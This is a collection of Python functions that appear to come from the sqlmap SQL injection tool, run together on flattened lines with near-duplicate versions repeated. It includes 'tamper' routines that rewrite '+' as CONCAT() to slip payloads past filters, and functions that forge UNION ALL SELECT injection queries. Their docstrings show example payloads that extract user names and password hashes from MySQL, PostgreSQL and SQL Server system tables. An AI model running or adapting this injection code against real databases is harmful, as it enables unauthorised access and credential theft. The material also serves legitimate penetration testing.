def tamper(payload, **kwargs): """ Replaces plus ('+') character with function CONCAT() Tested against: * Microsoft SQL Server 2012 Requirements: * Microsoft SQL Server 2012+ Notes: * Useful in case ('+') character is filtered >>> tamper('SELECT CHAR(113)+CHAR(114)+CHAR(115) FROM DUAL') 'SELECT CONCAT(CHAR(113),CHAR(114),CHAR(115)) FROM DUAL' >>> tamper('SELECT (CHAR(113)+CHAR(114)+CHAR(115)) FROM DUAL') 'SELECT CONCAT(CHAR(113),CHAR(114),CHAR(115)) FROM DUAL' """ retVal = payload if payload: while True: indexes = zeroDepthSearch(retVal, '+') if indexes: first, last = 0, 0 for i in xrange(1, len(indexes)): if ' ' in retVal[indexes[0]:indexes[i]]: break else: last = i start = retVal[:indexes[first]].rfind(' ') + 1 end = (retVal[indexes[last] + 1:].find(' ') + indexes[last] + 1) if ' ' in retVal[indexes[last] + 1:] else len(retVal) - 1 chars = [char for char in retVal] for index in indexes[first:last + 1]: chars[index] = ',' retVal = "%sCONCAT(%s)%s" % (retVal[:start], ''.join(chars)[start:end], retVal[end:]) else: match = re.search(r"\((CHAR\(\d+.+CHAR\(\d+\))\)", retVal) if match: part = match.group(0) indexes = set(zeroDepthSearch(match.group(1), '+')) if not indexes: break chars = [char for char in part] for i in xrange(1, len(chars)): if i - 1 in indexes: chars[i] = ',' replacement = "CONCAT%s" % "".join(chars) retVal = retVal.replace(part, replacement) else: break return retVal
def tamper(payload, **kwargs): """ Replaces plus operator ('+') with (MsSQL) function CONCAT() counterpart Tested against: * Microsoft SQL Server 2012 Requirements: * Microsoft SQL Server 2012+ Notes: * Useful in case ('+') character is filtered >>> tamper('SELECT CHAR(113)+CHAR(114)+CHAR(115) FROM DUAL') 'SELECT CONCAT(CHAR(113),CHAR(114),CHAR(115)) FROM DUAL' >>> tamper('SELECT (CHAR(113)+CHAR(114)+CHAR(115)) FROM DUAL') 'SELECT CONCAT(CHAR(113),CHAR(114),CHAR(115)) FROM DUAL' """ retVal = payload if payload: while True: indexes = zeroDepthSearch(retVal, '+') if indexes: first, last = 0, 0 for i in xrange(1, len(indexes)): if ' ' in retVal[indexes[0]:indexes[i]]: break else: last = i start = retVal[:indexes[first]].rfind(' ') + 1 end = (retVal[indexes[last] + 1:].find(' ') + indexes[last] + 1) if ' ' in retVal[indexes[last] + 1:] else len(retVal) - 1 chars = [char for char in retVal] for index in indexes[first:last + 1]: chars[index] = ',' retVal = "%sCONCAT(%s)%s" % (retVal[:start], ''.join(chars)[start:end], retVal[end:]) else: match = re.search(r"\((CHAR\(\d+.+\bCHAR\(\d+\))\)", retVal) if match: part = match.group(0) indexes = set(zeroDepthSearch(match.group(1), '+')) if not indexes: break chars = [char for char in part] for i in xrange(1, len(chars)): if i - 1 in indexes: chars[i] = ',' replacement = "CONCAT%s" % "".join(chars) retVal = retVal.replace(part, replacement) else: break return retVal
def tamper(payload, **kwargs): """ Replaces plus operator ('+') with (MsSQL) function CONCAT() counterpart Tested against: * Microsoft SQL Server 2012 Requirements: * Microsoft SQL Server 2012+ Notes: * Useful in case ('+') character is filtered >>> tamper('SELECT CHAR(113)+CHAR(114)+CHAR(115) FROM DUAL') 'SELECT CONCAT(CHAR(113),CHAR(114),CHAR(115)) FROM DUAL' >>> tamper('1 UNION ALL SELECT NULL,NULL,CHAR(113)+CHAR(118)+CHAR(112)+CHAR(112)+CHAR(113)+ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32))+CHAR(113)+CHAR(112)+CHAR(107)+CHAR(112)+CHAR(113)-- qtfe') '1 UNION ALL SELECT NULL,NULL,CONCAT(CHAR(113),CHAR(118),CHAR(112),CHAR(112),CHAR(113),ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32)),CHAR(113),CHAR(112),CHAR(107),CHAR(112),CHAR(113))-- qtfe' """ retVal = payload if payload: match = re.search( r"('[^']+'|CHAR\(\d+\))\+.*(?<=\+)('[^']+'|CHAR\(\d+\))", retVal) if match: part = match.group(0) chars = [char for char in part] for index in zeroDepthSearch(part, '+'): chars[index] = ',' replacement = "CONCAT(%s)" % "".join(chars) retVal = retVal.replace(part, replacement) return retVal
def getFields(self, query): """ Take in input a query string and return its fields (columns) and more details. Example: Input: SELECT user, password FROM mysql.user Output: user,password @param query: query to be processed @type query: C{str} @return: query fields (columns) and more details @rtype: C{str} """ prefixRegex = r"(?:\s+(?:FIRST|SKIP)\s+\d+)*" fieldsSelectTop = re.search(r"\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", query, re.I) fieldsSelectRownum = re.search(r"\ASELECT\s+([^()]+?),\s*ROWNUM AS LIMIT FROM", query, re.I) fieldsSelectDistinct = re.search(r"\ASELECT%s\s+DISTINCT\((.+?)\)\s+FROM" % prefixRegex, query, re.I) fieldsSelectCase = re.search(r"\ASELECT%s\s+(\(CASE WHEN\s+.+\s+END\))" % prefixRegex, query, re.I) fieldsSelectFrom = re.search(r"\ASELECT%s\s+(.+?)\s+FROM " % prefixRegex, query, re.I) fieldsExists = re.search(r"EXISTS\(([^)]*)\)\Z", query, re.I) fieldsSelect = re.search(r"\ASELECT%s\s+(.*)" % prefixRegex, query, re.I) fieldsSubstr = re.search(r"\A(SUBSTR|MID\()", query, re.I) fieldsMinMaxstr = re.search(r"(?:MIN|MAX)\(([^\(\)]+)\)", query, re.I) fieldsNoSelect = query if fieldsSubstr: fieldsToCastStr = query elif fieldsMinMaxstr: fieldsToCastStr = fieldsMinMaxstr.groups()[0] elif fieldsExists: fieldsToCastStr = fieldsSelect.groups()[0] elif fieldsSelectTop: fieldsToCastStr = fieldsSelectTop.groups()[0] elif fieldsSelectRownum: fieldsToCastStr = fieldsSelectRownum.groups()[0] elif fieldsSelectDistinct: fieldsToCastStr = fieldsSelectDistinct.groups()[0] elif fieldsSelectCase: fieldsToCastStr = fieldsSelectCase.groups()[0] elif fieldsSelectFrom: _ = zeroDepthSearch(query, " FROM ") fieldsToCastStr = query[:unArrayizeValue(_)] if _ else query fieldsToCastStr = re.sub(r"\ASELECT%s\s+" % prefixRegex, "", fieldsToCastStr) elif fieldsSelect: fieldsToCastStr = fieldsSelect.groups()[0] else: fieldsToCastStr = fieldsNoSelect # Function if re.search("\A\w+\(.*\)", fieldsToCastStr, re.I) or (fieldsSelectCase and "WHEN use" not in query) or fieldsSubstr: fieldsToCastList = [fieldsToCastStr] else: fieldsToCastList = splitFields(fieldsToCastStr) return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, fieldsToCastList, fieldsToCastStr, fieldsExists
def nullCastConcatFields(self, fields): """ Take in input a sequence of fields string and return its processed nulled, casted and concatenated fields string. Examples: MySQL input: user,password MySQL output: IFNULL(CAST(user AS CHAR(10000)), ' '),'UWciUe',IFNULL(CAST(password AS CHAR(10000)), ' ') MySQL scope: SELECT user, password FROM mysql.user PostgreSQL input: usename,passwd PostgreSQL output: COALESCE(CAST(usename AS CHARACTER(10000)), ' ')||'xRBcZW'||COALESCE(CAST(passwd AS CHARACTER(10000)), ' ') PostgreSQL scope: SELECT usename, passwd FROM pg_shadow Oracle input: COLUMN_NAME,DATA_TYPE Oracle output: NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), ' ')||'UUlHUa'||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), ' ') Oracle scope: SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' Microsoft SQL Server input: name,master.dbo.fn_varbintohexstr(password) Microsoft SQL Server output: ISNULL(CAST(name AS VARCHAR(8000)), ' ')+'nTBdow'+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), ' ') Microsoft SQL Server scope: SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins @param fields: fields string to be processed @type fields: C{str} @return: fields string nulled, casted and concatened @rtype: C{str} """ if not Backend.getDbms(): return fields if fields.startswith("(CASE") or fields.startswith("(IIF") or fields.startswith("SUBSTR") or fields.startswith("MID(") or re.search(r"\A'[^']+'\Z", fields): nulledCastedConcatFields = fields else: fields = fields.replace(", ", ',') commas = [-1, len(fields)] commas.extend(zeroDepthSearch(fields, ',')) commas = sorted(commas) fieldsSplitted = [fields[x + 1:y] for (x, y) in zip(commas, commas[1:])] dbmsDelimiter = queries[Backend.getIdentifiedDbms()].delimiter.query nulledCastedFields = [] for field in fieldsSplitted: nulledCastedFields.append(self.nullAndCastField(field)) delimiterStr = "%s'%s'%s" % (dbmsDelimiter, kb.chars.delimiter, dbmsDelimiter) nulledCastedConcatFields = delimiterStr.join(field for field in nulledCastedFields) return nulledCastedConcatFields
def tamper(payload, **kwargs): """ Replaces plus ('+') character with function CONCAT() Tested against: * Microsoft SQL Server 2012 Requirements: * Microsoft SQL Server 2012+ Notes: * Useful in case ('+') character is filtered >>> tamper('SELECT CHAR(113)+CHAR(114)+CHAR(115) FROM DUAL') 'SELECT CONCAT(CHAR(113),CHAR(114),CHAR(115)) FROM DUAL' """ retVal = payload if payload: while True: indexes = zeroDepthSearch(retVal, '+') if indexes: first, last = 0, 0 for i in xrange(1, len(indexes)): if ' ' in retVal[indexes[0]:indexes[i]]: break else: last = i start = retVal[:indexes[first]].rfind(' ') + 1 end = (retVal[indexes[last] + 1:].find(' ') + indexes[last] + 1) if ' ' in retVal[indexes[last] + 1:] else len(retVal) - 1 chars = [char for char in retVal] for index in indexes[first:last + 1]: chars[index] = ',' retVal = "%sCONCAT(%s)%s" % ( retVal[:start], ''.join(chars)[start:end], retVal[end:]) else: break return retVal
def tamper(payload, **kwargs): """ Replaces plus operator ('+') with (MsSQL) ODBC function {fn CONCAT()} counterpart Tested against: * Microsoft SQL Server 2008 Requirements: * Microsoft SQL Server 2008+ Notes: * Useful in case ('+') character is filtered * https://msdn.microsoft.com/en-us/library/bb630290.aspx >>> tamper('SELECT CHAR(113)+CHAR(114)+CHAR(115) FROM DUAL') 'SELECT {fn CONCAT({fn CONCAT(CHAR(113),CHAR(114))},CHAR(115))} FROM DUAL' >>> tamper('1 UNION ALL SELECT NULL,NULL,CHAR(113)+CHAR(118)+CHAR(112)+CHAR(112)+CHAR(113)+ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32))+CHAR(113)+CHAR(112)+CHAR(107)+CHAR(112)+CHAR(113)-- qtfe') '1 UNION ALL SELECT NULL,NULL,{fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT(CHAR(113),CHAR(118))},CHAR(112))},CHAR(112))},CHAR(113))},ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32)))},CHAR(113))},CHAR(112))},CHAR(107))},CHAR(112))},CHAR(113))}-- qtfe' """ retVal = payload if payload: match = re.search( r"('[^']+'|CHAR\(\d+\))\+.*(?<=\+)('[^']+'|CHAR\(\d+\))", retVal) if match: old = match.group(0) parts = [] last = 0 for index in zeroDepthSearch(old, '+'): parts.append(old[last:index].strip('+')) last = index parts.append(old[last:].strip('+')) replacement = parts[0] for i in xrange(1, len(parts)): replacement = "{fn CONCAT(%s,%s)}" % (replacement, parts[i]) retVal = retVal.replace(old, replacement) return retVal
def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, where, multipleUnions=None, limited=False, fromTable=None): """ Take in input an query (pseudo query) string and return its processed UNION ALL SELECT query. Examples: MySQL input: CONCAT(CHAR(120,121,75,102,103,89),IFNULL(CAST(user AS CHAR(10000)), CHAR(32)),CHAR(106,98,66,73,109,81),IFNULL(CAST(password AS CHAR(10000)), CHAR(32)),CHAR(105,73,99,89,69,74)) FROM mysql.user MySQL output: UNION ALL SELECT NULL, CONCAT(CHAR(120,121,75,102,103,89),IFNULL(CAST(user AS CHAR(10000)), CHAR(32)),CHAR(106,98,66,73,109,81),IFNULL(CAST(password AS CHAR(10000)), CHAR(32)),CHAR(105,73,99,89,69,74)), NULL FROM mysql.user-- AND 7488=7488 PostgreSQL input: (CHR(116)||CHR(111)||CHR(81)||CHR(80)||CHR(103)||CHR(70))||COALESCE(CAST(usename AS CHARACTER(10000)), (CHR(32)))||(CHR(106)||CHR(78)||CHR(121)||CHR(111)||CHR(84)||CHR(85))||COALESCE(CAST(passwd AS CHARACTER(10000)), (CHR(32)))||(CHR(108)||CHR(85)||CHR(122)||CHR(85)||CHR(108)||CHR(118)) FROM pg_shadow PostgreSQL output: UNION ALL SELECT NULL, (CHR(116)||CHR(111)||CHR(81)||CHR(80)||CHR(103)||CHR(70))||COALESCE(CAST(usename AS CHARACTER(10000)), (CHR(32)))||(CHR(106)||CHR(78)||CHR(121)||CHR(111)||CHR(84)||CHR(85))||COALESCE(CAST(passwd AS CHARACTER(10000)), (CHR(32)))||(CHR(108)||CHR(85)||CHR(122)||CHR(85)||CHR(108)||CHR(118)), NULL FROM pg_shadow-- AND 7133=713 Oracle input: (CHR(109)||CHR(89)||CHR(75)||CHR(109)||CHR(85)||CHR(68))||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), (CHR(32)))||(CHR(108)||CHR(110)||CHR(89)||CHR(69)||CHR(122)||CHR(90))||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), (CHR(32)))||(CHR(89)||CHR(80)||CHR(98)||CHR(77)||CHR(80)||CHR(121)) FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME=(CHR(85)||CHR(83)||CHR(69)||CHR(82)||CHR(83)) Oracle output: UNION ALL SELECT NULL, (CHR(109)||CHR(89)||CHR(75)||CHR(109)||CHR(85)||CHR(68))||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), (CHR(32)))||(CHR(108)||CHR(110)||CHR(89)||CHR(69)||CHR(122)||CHR(90))||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), (CHR(32)))||(CHR(89)||CHR(80)||CHR(98)||CHR(77)||CHR(80)||CHR(121)), NULL FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME=(CHR(85)||CHR(83)||CHR(69)||CHR(82)||CHR(83))-- AND 6738=6738 Microsoft SQL Server input: (CHAR(74)+CHAR(86)+CHAR(106)+CHAR(116)+CHAR(116)+CHAR(108))+ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32)))+(CHAR(89)+CHAR(87)+CHAR(116)+CHAR(100)+CHAR(106)+CHAR(74))+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(71)+CHAR(74)+CHAR(68)+CHAR(66)+CHAR(85)+CHAR(106)) FROM master..sysxlogins Microsoft SQL Server output: UNION ALL SELECT NULL, (CHAR(74)+CHAR(86)+CHAR(106)+CHAR(116)+CHAR(116)+CHAR(108))+ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32)))+(CHAR(89)+CHAR(87)+CHAR(116)+CHAR(100)+CHAR(106)+CHAR(74))+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(71)+CHAR(74)+CHAR(68)+CHAR(66)+CHAR(85)+CHAR(106)), NULL FROM master..sysxlogins-- AND 3254=3254 @param query: it is a processed query string unescaped to be forged within an UNION ALL SELECT statement @type query: C{str} @param position: it is the NULL position where it is possible to inject the query @type position: C{int} @return: UNION ALL SELECT query string forged @rtype: C{str} """ if conf.uFrom: fromTable = " FROM %s" % conf.uFrom else: fromTable = fromTable or FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), "") if query.startswith("SELECT "): query = query[len("SELECT "):] unionQuery = self.prefixQuery("UNION ALL SELECT ", prefix=prefix) if limited: unionQuery += ','.join(char if _ != position else '(SELECT %s)' % query for _ in xrange(0, count)) unionQuery += fromTable unionQuery = self.suffixQuery(unionQuery, comment, suffix) return unionQuery else: _ = zeroDepthSearch(query, " FROM ") if _: fromTable = query[_[0]:] if fromTable and query.endswith(fromTable): query = query[:-len(fromTable)] topNumRegex = re.search("\ATOP\s+([\d]+)\s+", query, re.I) if topNumRegex: topNum = topNumRegex.group(1) query = query[len("TOP %s " % topNum):] unionQuery += "TOP %s " % topNum intoRegExp = re.search("(\s+INTO (DUMP|OUT)FILE\s+\'(.+?)\')", query, re.I) if intoRegExp: intoRegExp = intoRegExp.group(1) query = query[:query.index(intoRegExp)] for element in xrange(0, count): if element > 0: unionQuery += ',' if element == position: unionQuery += query else: unionQuery += char if fromTable and not unionQuery.endswith(fromTable): unionQuery += fromTable if intoRegExp: unionQuery += intoRegExp if multipleUnions: unionQuery += " UNION ALL SELECT " for element in xrange(count): if element > 0: unionQuery += ',' if element == position: unionQuery += multipleUnions else: unionQuery += char if fromTable: unionQuery += fromTable unionQuery = self.suffixQuery(unionQuery, comment, suffix) return unionQuery
def concatQuery(self, query, unpack=True): """ Take in input a query string and return its processed nulled, casted and concatenated query string. Examples: MySQL input: SELECT user, password FROM mysql.user MySQL output: CONCAT('mMvPxc',IFNULL(CAST(user AS CHAR(10000)), ' '),'nXlgnR',IFNULL(CAST(password AS CHAR(10000)), ' '),'YnCzLl') FROM mysql.user PostgreSQL input: SELECT usename, passwd FROM pg_shadow PostgreSQL output: 'HsYIBS'||COALESCE(CAST(usename AS CHARACTER(10000)), ' ')||'KTBfZp'||COALESCE(CAST(passwd AS CHARACTER(10000)), ' ')||'LkhmuP' FROM pg_shadow Oracle input: SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='USERS' Oracle output: 'GdBRAo'||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), ' ')||'czEHOf'||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), ' ')||'JVlYgS' FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='USERS' Microsoft SQL Server input: SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins Microsoft SQL Server output: 'QQMQJO'+ISNULL(CAST(name AS VARCHAR(8000)), ' ')+'kAtlqH'+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), ' ')+'lpEqoi' FROM master..sysxlogins @param query: query string to be processed @type query: C{str} @return: query string nulled, casted and concatenated @rtype: C{str} """ if unpack: concatenatedQuery = "" query = query.replace(", ", ',') fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, _, fieldsToCastStr, fieldsExists = self.getFields(query) castedFields = self.nullCastConcatFields(fieldsToCastStr) concatenatedQuery = query.replace(fieldsToCastStr, castedFields, 1) else: return query if Backend.getIdentifiedDbms() in (DBMS.MYSQL,): if fieldsExists: concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % kb.chars.start, 1) concatenatedQuery += ",'%s')" % kb.chars.stop elif fieldsSelectCase: concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % kb.chars.start, 1) concatenatedQuery += ",'%s')" % kb.chars.stop elif fieldsSelectFrom: _ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM ")) concatenatedQuery = "%s,'%s')%s" % (concatenatedQuery[:_].replace("SELECT ", "CONCAT('%s'," % kb.chars.start, 1), kb.chars.stop, concatenatedQuery[_:]) elif fieldsSelect: concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % kb.chars.start, 1) concatenatedQuery += ",'%s')" % kb.chars.stop elif fieldsNoSelect: concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop) elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB): if fieldsExists: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1) concatenatedQuery += "||'%s'" % kb.chars.stop elif fieldsSelectCase: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||(SELECT " % kb.chars.start, 1) concatenatedQuery += ")||'%s'" % kb.chars.stop elif fieldsSelectFrom: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1) _ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM ")) concatenatedQuery = "%s||'%s'%s" % (concatenatedQuery[:_], kb.chars.stop, concatenatedQuery[_:]) elif fieldsSelect: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1) concatenatedQuery += "||'%s'" % kb.chars.stop elif fieldsNoSelect: concatenatedQuery = "'%s'||%s||'%s'" % (kb.chars.start, concatenatedQuery, kb.chars.stop) elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): if fieldsExists: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1) concatenatedQuery += "+'%s'" % kb.chars.stop elif fieldsSelectTop: topNum = re.search("\ASELECT\s+TOP\s+([\d]+)\s+", concatenatedQuery, re.I).group(1) concatenatedQuery = concatenatedQuery.replace("SELECT TOP %s " % topNum, "TOP %s '%s'+" % (topNum, kb.chars.start), 1) concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % kb.chars.stop, 1) elif fieldsSelectCase: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1) concatenatedQuery += "+'%s'" % kb.chars.stop elif fieldsSelectFrom: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1) _ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM ")) concatenatedQuery = "%s+'%s'%s" % (concatenatedQuery[:_], kb.chars.stop, concatenatedQuery[_:]) elif fieldsSelect: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1) concatenatedQuery += "+'%s'" % kb.chars.stop elif fieldsNoSelect: concatenatedQuery = "'%s'+%s+'%s'" % (kb.chars.start, concatenatedQuery, kb.chars.stop) elif Backend.isDbms(DBMS.ACCESS): if fieldsExists: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'&" % kb.chars.start, 1) concatenatedQuery += "&'%s'" % kb.chars.stop elif fieldsSelectCase: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'&(SELECT " % kb.chars.start, 1) concatenatedQuery += ")&'%s'" % kb.chars.stop elif fieldsSelectFrom: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'&" % kb.chars.start, 1) _ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM ")) concatenatedQuery = "%s&'%s'%s" % (concatenatedQuery[:_], kb.chars.stop, concatenatedQuery[_:]) elif fieldsSelect: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'&" % kb.chars.start, 1) concatenatedQuery += "&'%s'" % kb.chars.stop elif fieldsNoSelect: concatenatedQuery = "'%s'&%s&'%s'" % (kb.chars.start, concatenatedQuery, kb.chars.stop) else: warnMsg = "applying generic concatenation with double pipes ('||')" singleTimeWarnMessage(warnMsg) if fieldsExists: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1) concatenatedQuery += "||'%s'" % kb.chars.stop elif fieldsSelectCase: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||(SELECT " % kb.chars.start, 1) concatenatedQuery += ")||'%s'" % kb.chars.stop elif fieldsSelectFrom: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1) _ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM ")) concatenatedQuery = "%s||'%s'%s" % (concatenatedQuery[:_], kb.chars.stop, concatenatedQuery[_:]) elif fieldsSelect: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1) concatenatedQuery += "||'%s'" % kb.chars.stop elif fieldsNoSelect: concatenatedQuery = "'%s'||%s||'%s'" % (kb.chars.start, concatenatedQuery, kb.chars.stop) return concatenatedQuery
def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, where, multipleUnions=None, limited=False, fromTable=None): """ Take in input an query (pseudo query) string and return its processed UNION ALL SELECT query. Examples: MySQL input: CONCAT(CHAR(120,121,75,102,103,89),IFNULL(CAST(user AS CHAR(10000)), CHAR(32)),CHAR(106,98,66,73,109,81),IFNULL(CAST(password AS CHAR(10000)), CHAR(32)),CHAR(105,73,99,89,69,74)) FROM mysql.user MySQL output: UNION ALL SELECT NULL, CONCAT(CHAR(120,121,75,102,103,89),IFNULL(CAST(user AS CHAR(10000)), CHAR(32)),CHAR(106,98,66,73,109,81),IFNULL(CAST(password AS CHAR(10000)), CHAR(32)),CHAR(105,73,99,89,69,74)), NULL FROM mysql.user-- AND 7488=7488 PostgreSQL input: (CHR(116)||CHR(111)||CHR(81)||CHR(80)||CHR(103)||CHR(70))||COALESCE(CAST(usename AS CHARACTER(10000)), (CHR(32)))||(CHR(106)||CHR(78)||CHR(121)||CHR(111)||CHR(84)||CHR(85))||COALESCE(CAST(passwd AS CHARACTER(10000)), (CHR(32)))||(CHR(108)||CHR(85)||CHR(122)||CHR(85)||CHR(108)||CHR(118)) FROM pg_shadow PostgreSQL output: UNION ALL SELECT NULL, (CHR(116)||CHR(111)||CHR(81)||CHR(80)||CHR(103)||CHR(70))||COALESCE(CAST(usename AS CHARACTER(10000)), (CHR(32)))||(CHR(106)||CHR(78)||CHR(121)||CHR(111)||CHR(84)||CHR(85))||COALESCE(CAST(passwd AS CHARACTER(10000)), (CHR(32)))||(CHR(108)||CHR(85)||CHR(122)||CHR(85)||CHR(108)||CHR(118)), NULL FROM pg_shadow-- AND 7133=713 Oracle input: (CHR(109)||CHR(89)||CHR(75)||CHR(109)||CHR(85)||CHR(68))||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), (CHR(32)))||(CHR(108)||CHR(110)||CHR(89)||CHR(69)||CHR(122)||CHR(90))||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), (CHR(32)))||(CHR(89)||CHR(80)||CHR(98)||CHR(77)||CHR(80)||CHR(121)) FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME=(CHR(85)||CHR(83)||CHR(69)||CHR(82)||CHR(83)) Oracle output: UNION ALL SELECT NULL, (CHR(109)||CHR(89)||CHR(75)||CHR(109)||CHR(85)||CHR(68))||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), (CHR(32)))||(CHR(108)||CHR(110)||CHR(89)||CHR(69)||CHR(122)||CHR(90))||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), (CHR(32)))||(CHR(89)||CHR(80)||CHR(98)||CHR(77)||CHR(80)||CHR(121)), NULL FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME=(CHR(85)||CHR(83)||CHR(69)||CHR(82)||CHR(83))-- AND 6738=6738 Microsoft SQL Server input: (CHAR(74)+CHAR(86)+CHAR(106)+CHAR(116)+CHAR(116)+CHAR(108))+ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32)))+(CHAR(89)+CHAR(87)+CHAR(116)+CHAR(100)+CHAR(106)+CHAR(74))+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(71)+CHAR(74)+CHAR(68)+CHAR(66)+CHAR(85)+CHAR(106)) FROM master..sysxlogins Microsoft SQL Server output: UNION ALL SELECT NULL, (CHAR(74)+CHAR(86)+CHAR(106)+CHAR(116)+CHAR(116)+CHAR(108))+ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32)))+(CHAR(89)+CHAR(87)+CHAR(116)+CHAR(100)+CHAR(106)+CHAR(74))+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(71)+CHAR(74)+CHAR(68)+CHAR(66)+CHAR(85)+CHAR(106)), NULL FROM master..sysxlogins-- AND 3254=3254 @param query: it is a processed query string unescaped to be forged within an UNION ALL SELECT statement @type query: C{str} @param position: it is the NULL position where it is possible to inject the query @type position: C{int} @return: UNION ALL SELECT query string forged @rtype: C{str} """ if conf.uFrom: fromTable = " FROM %s" % conf.uFrom else: fromTable = fromTable or FROM_DUMMY_TABLE.get( Backend.getIdentifiedDbms(), "") if query.startswith("SELECT "): query = query[len("SELECT "):] unionQuery = self.prefixQuery("UNION ALL SELECT ", prefix=prefix) if limited: unionQuery += ','.join(char if _ != position else '(SELECT %s)' % query for _ in xrange(0, count)) unionQuery += fromTable unionQuery = self.suffixQuery(unionQuery, comment, suffix) return unionQuery else: _ = zeroDepthSearch(query, " FROM ") if _: fromTable = query[_[0]:] if fromTable and query.endswith(fromTable): query = query[:-len(fromTable)] topNumRegex = re.search("\ATOP\s+([\d]+)\s+", query, re.I) if topNumRegex: topNum = topNumRegex.group(1) query = query[len("TOP %s " % topNum):] unionQuery += "TOP %s " % topNum intoRegExp = re.search("(\s+INTO (DUMP|OUT)FILE\s+\'(.+?)\')", query, re.I) if intoRegExp: intoRegExp = intoRegExp.group(1) query = query[:query.index(intoRegExp)] for element in xrange(0, count): if element > 0: unionQuery += ',' if element == position: unionQuery += query else: unionQuery += char if fromTable and not unionQuery.endswith(fromTable): unionQuery += fromTable if intoRegExp: unionQuery += intoRegExp if multipleUnions: unionQuery += " UNION ALL SELECT " for element in xrange(count): if element > 0: unionQuery += ',' if element == position: unionQuery += multipleUnions else: unionQuery += char if fromTable: unionQuery += fromTable unionQuery = self.suffixQuery(unionQuery, comment, suffix) return unionQuery
